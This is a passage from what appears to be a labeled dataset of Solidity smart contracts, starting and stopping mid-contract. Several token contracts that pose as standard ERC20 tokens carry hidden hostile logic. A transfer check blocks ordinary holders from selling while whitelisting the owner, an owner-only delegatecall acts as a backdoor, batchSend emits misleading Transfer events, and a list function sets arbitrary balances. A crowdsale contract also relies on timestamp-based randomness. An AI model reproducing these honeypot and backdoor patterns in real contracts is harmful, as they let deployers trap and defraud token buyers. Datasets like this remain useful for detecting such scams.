_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 81 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract AmericanDreamDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,972 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract Context {
constructor() {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public override view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public override view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SotaToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "SOTA";
string public symbol = "SOTA";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
function sliceUint(bytes memory bs)
internal pure
returns (uint)
{
uint x;
assembly {
x := mload(add(bs, add(0x10, 0)))
}
return x;
}
function isAccountValid(address subject) pure public returns (bool result) {
return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
}
function onlyByHundred() view public returns (bool result) {
require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this");
return true;
}
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,714 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount) public;
function balanceOf(address tokenOwner) public constant returns (uint balance);
}
contract Crowdsale {
address public beneficiary;
uint public amountRaised;
uint public deadline;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool crowdsaleClosed = false;
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint durationInMinutes,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
deadline = now + durationInMinutes * 1 minutes;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () public payable {
uint base = 1000000000000000000;
uint amount = msg.value;
uint tokenBalance = tokenReward.balanceOf(this);
uint num = 10 ** (now % 4) * base;
balanceOf[msg.sender] += amount;
amountRaised += amount;
require(tokenBalance >= num);
tokenReward.transfer(msg.sender, num);
beneficiary.transfer(msg.value);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function safeWithdrawal() public {
require(beneficiary == msg.sender);
uint tokenBalance = tokenReward.balanceOf(this);
tokenReward.transfer(beneficiary, tokenBalance);
}
} | 1 | 3,074 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
modifier onlyPayloadSize(uint numWords) {
assert(msg.data.length >= numWords * 32 + 4);
_;
}
}
contract Token {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract STC is Token{
Price public currentPrice;
uint256 public fundingEndTime;
address public fundWallet;
function() payable {
require(tx.origin == msg.sender);
buyTo(msg.sender);
}
function buyTo(address participant) public payable;
function icoDenominatorPrice() public view returns (uint256);
struct Price {
uint256 numerator;
uint256 denominator;
}
}
contract STCDR is Token{
}
contract OwnerControl is SafeMath {
bool public halted = false;
address public controlWallet;
event AddLiquidity(uint256 ethAmount);
event RemoveLiquidity(uint256 ethAmount);
modifier onlyControlWallet {
require(msg.sender == controlWallet);
_;
}
function addLiquidity() external onlyControlWallet payable {
require(msg.value > 0);
AddLiquidity(msg.value);
}
function removeLiquidity(uint256 amount) external onlyControlWallet {
require(amount <= this.balance);
controlWallet.transfer(amount);
RemoveLiquidity(amount);
}
function changeControlWallet(address newControlWallet) external onlyControlWallet {
require(newControlWallet != address(0));
controlWallet = newControlWallet;
}
function halt() external onlyControlWallet {
halted = true;
}
function unhalt() external onlyControlWallet {
halted = false;
}
function claimTokens(address _token) external onlyControlWallet {
require(_token != address(0));
Token token = Token(_token);
uint256 balance = token.balanceOf(this);
token.transfer(controlWallet, balance);
}
}
contract SWAP is OwnerControl {
string public name = "SWAP STCDR-STC";
STC public STCToken;
STCDR public STCDRToken;
uint256 public discount = 5;
uint256 public stcdr2stc_Ratio = 40;
event TokenSwaped(address indexed _from, uint256 _stcBuy, uint256 _stcBonus, uint256 _stcdrBurn, uint256 _ethPrice, uint256 _stcPrice);
function SWAP(address _STCToken,address _STCDRToken) public {
controlWallet = msg.sender;
STCToken = STC(_STCToken);
STCDRToken = STCDR(_STCDRToken);
}
function() payable {
require(tx.origin == msg.sender);
buyTo(msg.sender);
}
function transferTokensAfterEndTime(address participant, uint256 _tokens ,uint256 _tokenBonus , uint256 _tokensToBurn) private
{
require(this.balance>=msg.value);
require(availableSTCTokens() > safeAdd(_tokens,_tokenBonus));
STCDRToken.transferFrom(participant,this,_tokensToBurn);
STCDRToken.transfer(controlWallet, _tokensToBurn);
STCToken.transferFrom(controlWallet,this,safeAdd(_tokens,_tokenBonus));
STCToken.transfer(participant, _tokens);
STCToken.transfer(participant, _tokenBonus);
STCToken.fundWallet().transfer(msg.value);
}
function addEthBonusToBuy(address participant, uint256 _ethBonus , uint256 _tokensToBurn ) private {
require(this.balance>=safeAdd(msg.value, _ethBonus));
STCDRToken.transferFrom(participant,this,_tokensToBurn);
STCDRToken.transfer(controlWallet, _tokensToBurn);
STCToken.buyTo.value(safeAdd(msg.value, _ethBonus))(participant);
}
function buyTo(address participant) public payable {
require(!halted);
require(msg.value > 0);
uint256 availableTokenSTCDR = availableSTCDRTokensOF(participant);
require(availableTokenSTCDR > 0);
uint256 _numerator = currentETHPrice();
require(_numerator > 0);
uint256 _fundingEndTime = STCToken.fundingEndTime();
uint256 _denominator = currentSTCPrice();
require(_denominator > 0);
uint256 _stcMaxBonus = safeMul(availableTokenSTCDR,10000000000) / stcdr2stc_Ratio;
require(_stcMaxBonus > 0);
uint256 _stcOrginalBuy = safeMul(msg.value,_numerator) / _denominator;
require(_stcOrginalBuy > 0);
uint256 _tokensToBurn =0 ;
uint256 _tokensBonus =0 ;
if (_stcOrginalBuy >= _stcMaxBonus){
_tokensToBurn = availableTokenSTCDR;
_tokensBonus= safeSub(safeMul((_stcMaxBonus / safeSub(100,discount)),100),_stcMaxBonus);
} else {
_tokensToBurn = safeMul(_stcOrginalBuy,stcdr2stc_Ratio)/10000000000;
_tokensBonus = safeSub(safeMul((_stcOrginalBuy / safeSub(100,discount)),100),_stcOrginalBuy);
}
require(_tokensToBurn > 0);
require(_tokensBonus > 0);
require(_tokensBonus < _stcOrginalBuy);
if (now < _fundingEndTime) {
uint256 _ethBonus=safeMul(_tokensBonus, _denominator) / _numerator ;
addEthBonusToBuy(participant,_ethBonus,_tokensToBurn);
} else {
transferTokensAfterEndTime(participant,_stcOrginalBuy,_tokensBonus ,_tokensToBurn);
}
TokenSwaped(participant, _stcOrginalBuy , _tokensBonus,_tokensToBurn, _numerator ,_denominator);
}
function currentETHPrice() public view returns (uint256 numerator)
{
var (a, b) = STCToken.currentPrice();
return STC.Price(a, b).numerator;
}
function currentSTCPrice() public view returns (uint256 numerator)
{
return STCToken.icoDenominatorPrice();
}
function tokenSTCDRforBurnInControlWallett() view returns (uint256 numerator) {
return STCDRToken.balanceOf(controlWallet);
}
function availableSTCDRTokensOF(address _owner) view returns (uint256 numerator) {
uint256 alowedTokenSTCDR = STCDRToken.allowance(_owner, this);
uint256 balanceTokenSTCDR = STCDRToken.balanceOf(_owner);
if (alowedTokenSTCDR>balanceTokenSTCDR) {
return balanceTokenSTCDR;
} else {
return alowedTokenSTCDR;
}
}
function availableSTCTokens() view returns (uint256 numerator) {
uint256 alowedTokenSTC = STCToken.allowance(controlWallet, this);
uint256 balanceTokenSTC = STCToken.balanceOf(controlWallet);
if (alowedTokenSTC>balanceTokenSTC) {
return balanceTokenSTC;
} else {
return alowedTokenSTC;
}
}
} | 1 | 3,148 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
